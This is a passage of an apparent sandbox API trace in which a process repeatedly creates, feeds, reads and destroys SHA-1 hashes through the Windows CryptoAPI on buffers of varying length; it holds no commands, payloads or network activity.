	[0099.279] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.279] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.279] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.279] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x96, dwFlags=0x0) returned 1
	[0099.279] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.279] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.279] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.279] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.279] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.280] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.280] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.280] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0099.280] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.280] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.280] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.280] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xac, dwFlags=0x0) returned 1
	[0099.280] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.280] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.280] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.281] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xae, dwFlags=0x0) returned 1
	[0099.281] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.281] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.281] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.281] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8c, dwFlags=0x0) returned 1
	[0099.281] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.281] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.281] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.281] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8e, dwFlags=0x0) returned 1
	[0099.281] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.282] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.282] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.282] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xa0, dwFlags=0x0) returned 1
	[0099.282] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.282] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.282] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.282] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xa2, dwFlags=0x0) returned 1
	[0099.282] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.282] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.283] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.283] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb4, dwFlags=0x0) returned 1
	[0099.283] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.283] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.283] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.283] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb6, dwFlags=0x0) returned 1
	[0099.283] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.283] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.283] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.283] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.283] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.284] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.284] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.284] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0099.284] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.284] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.284] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.284] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0099.284] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.284] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.285] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.285] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0099.285] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.285] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.285] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.285] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0099.285] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.285] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.285] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.286] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0099.286] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.286] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.286] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.286] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6e, dwFlags=0x0) returned 1
	[0099.286] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.286] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.286] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.286] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0099.286] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.287] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.287] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.287] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x82, dwFlags=0x0) returned 1
	[0099.287] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.287] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.287] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.287] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x84, dwFlags=0x0) returned 1
	[0099.287] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.287] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.287] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.288] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xde, dwFlags=0x0) returned 1
	[0099.288] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.288] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.288] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.288] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xe0, dwFlags=0x0) returned 1
	[0099.288] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.288] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.288] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.288] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x9a, dwFlags=0x0) returned 1
	[0099.288] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.289] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.289] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.289] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x9c, dwFlags=0x0) returned 1
	[0099.289] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.289] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.289] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.289] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0099.289] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.289] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.289] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.290] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0099.290] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.290] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.290] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.290] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x5a, dwFlags=0x0) returned 1
	[0099.290] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.290] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.290] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.290] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x5c, dwFlags=0x0) returned 1
	[0099.290] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.291] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.291] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.291] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc0, dwFlags=0x0) returned 1
	[0099.291] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.291] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.291] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.291] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc2, dwFlags=0x0) returned 1
	[0099.291] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.291] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.292] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.292] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x82, dwFlags=0x0) returned 1
	[0099.292] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.292] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.292] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.292] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x84, dwFlags=0x0) returned 1
	[0099.292] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.292] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.292] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.292] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x66, dwFlags=0x0) returned 1
	[0099.292] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.293] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.293] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.293] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.293] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.293] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.293] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.293] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.293] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.294] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.294] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.294] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0099.294] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.294] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.294] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.294] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x9c, dwFlags=0x0) returned 1
	[0099.294] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.294] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.294] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.295] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x9e, dwFlags=0x0) returned 1
	[0099.295] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.295] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.295] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.295] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x92, dwFlags=0x0) returned 1
	[0099.295] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.295] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.295] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.295] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x94, dwFlags=0x0) returned 1
	[0099.295] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.296] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.296] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.296] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x66, dwFlags=0x0) returned 1
	[0099.296] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.296] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.296] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.296] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.296] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.296] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.296] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.297] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc0, dwFlags=0x0) returned 1
	[0099.297] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.297] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.297] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.297] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc2, dwFlags=0x0) returned 1
	[0099.297] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.297] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.297] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.297] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0099.297] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.298] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.298] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.298] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6e, dwFlags=0x0) returned 1
	[0099.298] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.298] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.298] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.298] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.298] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.298] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.299] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.299] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.299] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.299] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.299] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.299] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0099.299] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.299] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.299] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.299] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0099.299] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.300] CryptDestroyHash (hHash=0x610398) returned 1
